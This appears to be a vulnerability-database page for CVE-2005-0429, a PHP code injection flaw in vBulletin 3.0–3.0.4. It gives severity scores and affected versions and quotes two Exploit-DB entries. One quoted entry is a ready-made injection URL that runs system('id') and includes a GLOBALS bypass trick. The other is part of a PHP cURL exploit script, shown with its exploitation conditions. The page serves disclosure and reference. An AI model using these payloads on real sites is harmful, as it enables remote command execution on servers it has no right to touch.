CVE-2005-0429
published 2005-05-02CVE-2005-0429: Direct code injection vulnerability in forumdisplay.php in vBulletin 3.0 through 3.0.4, when showforumusers is enabled, allows remote attackers to execute…
PriorityP432medium5CVSS 2.0
AVNACLAuNCNIPAN
EXPLOIT
EPSS
1.93%
77.5th percentile
Direct code injection vulnerability in forumdisplay.php in vBulletin 3.0 through 3.0.4, when showforumusers is enabled, allows remote attackers to execute inject arbitrary PHP commands via the comma parameter.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| jelsoft | vbulletin | — | — |
| jelsoft | vbulletin | — | — |
| jelsoft | vbulletin | — | — |
| jelsoft | vbulletin | — | — |
| jelsoft | vbulletin | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (2)
exploitdb·2005-02-15
CVE-2005-0429 vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (2)
vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (2)
---
fetch_array($forumusers) == True , when you
# visit the forums, it must has at least
# one user show the forum.
# Fourth condition: magic_quotes_gpc must be OFF
#
# Vulnerable Systems:
# vBulletin version 3.0 up to and including version 3.0.4
#
# Immune systems:
# vBulletin version 3.0.5
# vBulletin version 3.0.6
#
**************************************************************/
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}
if ($argv[3]){
$url = $argv[1];
$forumid = intval($argv[2]);
$command = $argv[3];
}
else {
echo "vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n";
echo "Usage: ".$argv[0]." [proxy]\n\n";
echo " url to vbulletin site (ex: http://www.vbulletin.co
Exploit-DB
vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (1)
exploitdb·2005-02-14
CVE-2005-0429 vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (1)
vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (1)
---
Exploit:
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."
Conditions:
1st condition : $vboptions['showforumusers'] == True , the admin must set
showforumusers ON in vbulletin options.
2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest.
3rd condition : $DB_site->fetch_array($forumusers) == True , when you
visit the forums, it must has at least one user show the forum.
4th condition : magic_quotes_gpc must be OFF
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 ;)))
# milw0rm.com [2005-02-14]
No writeups or analysis indexed.
2005-05-02
Published